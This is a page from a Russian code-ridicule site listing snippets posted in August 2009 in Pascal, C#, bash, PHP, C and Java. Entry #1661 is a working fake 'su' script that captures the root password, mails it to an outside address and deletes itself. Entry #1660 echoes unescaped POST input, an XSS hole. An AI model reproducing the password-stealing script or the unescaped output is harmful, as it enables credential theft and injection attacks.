1. Pascal / Говнокод #1664

    +85

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    pocedure TForm1.line(x, y, N: integer; l: real; d: boolean);
    var
      x1,x2,x3,x4,y1,y2,y3,y4: integer;
      begin
        if l>2 then
          begin
              if d then
                case N  of
                  1: begin
                        x1:=x; y1:=y;
                        x2:=x1; y2:=y1-round(1);
                        x3:=x1+round(1); y3:=y1-round(1);
                        x4:=x1+round(1); y4:=y1;
                  end;
                  2: begin
                        x2:=x; y2:=y;
                        x1:=x2; y1:=y2+round(1);
                        x3:=x2+Round(1); y3:=y2;
                        x4:=x2+Round(1); y4:=y2+round(1);
                     end;
                  3: begin
                        x3:=x; y3:=y;
                        x1:=x3-round(1); y1:=y3+round(1);
                        x2:=x3-round(1); y2:=y3;
                        x4:=x2+round(1); y4:=y2+round(1);
    
                  end;
                  4: begin
                  x4:=x; y4:=y;
                  x1:=x4-round(1); y1:=y4;
                  x2:=x4-round(1); y2:=y4-round(1);
                  x3:=x4; y3:=y4-round(1);
                  end;
                end
                else
                 case N  of
                  1: begin
                        x1:=x; y1:=y;
                        x2:=x1; y2:=y1+round(1);
                        x3:=x1+round(1); y3:=y1+round(1);
                        x4:=x1+round(1); y4:=y1;
                  end;
                  2: begin
                        x2:=x; y2:=y;
                        x1:=x2; y1:=y2-round(1);
                        x3:=x2-Round(1); y3:=y2;
                        x4:=x2-Round(1); y4:=y2-round(1);
                     end;
                  3: begin
                        x3:=x; y3:=y;
                        x1:=x3+round(1); y1:=y3-round(1);
                        x2:=x3+round(1); y2:=y3;
                        x4:=x2-round(1); y4:=y2-round(1);
    
                  end;
                  4: begin
                  x4:=x; y4:=y;
                  x1:=x4+round(1); y1:=y4;
                  x2:=x4+round(1); y2:=y4+round(1);
                  x3:=x4; y3:=y4+round(1);
                  end;
                end;
                with Canvas do
                  begin
                    Pen.Color :=RGB(Random(256),Random(256),Random(256));
                    MoveTo(x1,y1);
                    LineTo(x2,y2);
                    LineTo(x3,y3);
                    LineTo(x4,y4);
                    LineTo(x1,y1);
                    Brush.Color:=Pen.Color;
                    FloodFill((x2+x3) div 2, (y2+y1) div 2, Pen.Color,fsBorder);
                    if l=200 then line (x1,y1,1,1/2, not d);
                    if n<>1 then line (x1,y1,1,1/2, not d);
                    if n<>2 then line (x2,y2,2,1/2, not d);
                    if n<>3 then line (x3,y3,3,1/2, not d);

    угадайте...:D

    ChakuZa, 24 Августа 2009

    Комментарии (7)
  2. Pascal / Говнокод #1663

    +95.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    begin
      if key=13 then Halt;
      
    end;
    
    procedure TForm1.Timer1Timer(Sender: TObject);
    var p: TPoint;
    begin
      p.X:=Random(Screen.Width);
      p.Y:=Random(Screen.Height);
      SetCursorPos(p.X,p.Y);
      mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN,p.X,p.Y,0,0);
      mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP,p.X,p.Y,0,0);
    end;
    
    end.

    :DDD

    ChakuZa, 24 Августа 2009

    Комментарии (12)
  3. C# / Говнокод #1662

    +126.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    else
    																		{
    																			if ((index == 103))
    																			{//bla
    																			}
    																			else
    																			{
    																				if ((index == 104))
    																				{//bla
    																				}
    																			}
    																		}
    																	}
    																}
    															}
    														}
    													}
    												}
    											}
    										}
    									}
    								}
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }                                                                                                                                                                                                                                                                                                                                                        } }}}}}}}}}}}}}}}}}}}}}}}}}

    Конец однородного файла (В моем маленьком случае 300Kb) сгенерированным Microsoft EdmGen.

    62316e, 24 Августа 2009

    Комментарии (7)
  4. Куча / Говнокод #1661

    +76.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #/usr/local/bin/bash
    
    # False SU utility
    
    # mail to send passwd
    mail="[email protected]"
    # go
    echo -n "Password:"
    read -s passwd
    echo ""
    echo "su: Sorry"
    
    echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
    
    # вернем все на место
    alias su=su
    #самоуничтожение
    rm $0

    Фейковый su )))

    Darwin, 23 Августа 2009

    Комментарии (10)
  5. PHP / Говнокод #1660

    +152.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    <html><body>
    <?php
    	if (isset($_POST['regg'])){
    ?>
    <form method="post" action="2.php">
    name
    <input type='text' name='name' />
    <input type='submit' name='regg' value='otpr' />
    </form>
    <?php
    	} else {
    echo $_POST['name'];
    }
    ?>
    </body></html>

    Tex, 22 Августа 2009

    Комментарии (13)
  6. Си / Говнокод #1659

    +136.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #define CHAINFREE_STATIC_DAT(a, field) {\
        ptr=(typeof(ptr))&(a);\
        if(((typeof(&(a)))(ptr))->field)\
            free(((typeof(&(a)))(ptr))->field);\
        ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
        if(ptr) {\
            while(((typeof(&(a)))(ptr))->next) {\
                if(((typeof(&(a)))(ptr))->field)\
                    free(((typeof(&(a)))(ptr))->field);\
                ptr=(typeof(ptr))(((typeof(&a))(ptr))->next);\
                free(((typeof(&(a)))(ptr))->prev);\
            }\
            if(((typeof(&(a)))(ptr))->field)\
                free(((typeof(&(a)))(ptr))->field);\
            free(ptr);\
        }\
        memset(&(a), 0, sizeof(a));\
    }

    Кол-во скобок радует :)

    xaionaro, 22 Августа 2009

    Комментарии (13)
  7. PHP / Говнокод #1658

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    /**
         * Set flag indicating whether or not request has been dispatched
         *
         * @param boolean $flag
         * @return Zend_Controller_Request_Abstract
         */
        public function setDispatched($flag = true)
        {
            $this->_dispatched = $flag ? true : false;
            return $this;
        }

    вот такую штуку сегодня увидел

    getme, 22 Августа 2009

    Комментарии (17)
  8. PHP / Говнокод #1657

    +153.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $basket=array('fk_user'=>$_SESSION['user']['pk_user'],
    						'fk_album'=>$pk_album,
    						'fk_song'=>$song['pk_song'],
    						'date'=>$time,
    						'title'=>str_replace('"', '\"', $album['title'].' - '.$song['name']),
    						'symlink'=>$r1[$k],
    						'filesize'=>$song['filesize'],
    						'track'=>$song['track'],
    						);

    Очень правильный эскейп

    TWINc, 21 Августа 2009

    Комментарии (3)
  9. Java / Говнокод #1656

    +76

    1. 1
    2. 2
    3. 3
    if(!doc.getElementsByTagName(TAG_NAME).equals(null)){
    ///...
    }

    dimmik, 21 Августа 2009

    Комментарии (3)
  10. PHP / Говнокод #1655

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>БД</title>
    <link rel="stylesheet" type="text/css" href="/adminini/design20f.css">
    </head>
    
    <body>
    <?php
    
    switch ($curr_page_des)
    {
    
      //
      // авторизация
    
      case 'login':
    
    ?>
    <?php print $content ?>
    
    <?php
    
      break;
    
      //
      // список разделов
    
      case 'sections':
    
    ?>
    <?php print $content ?>
    
    <?php
    
      break;
    
    }
    
    ?>
    </body>
    </html>

    Код не мой... надеюсь правила не запрещают..
    Фаил для вывода контента..
    design.php

    doremidon, 21 Августа 2009

    Комментарии (3)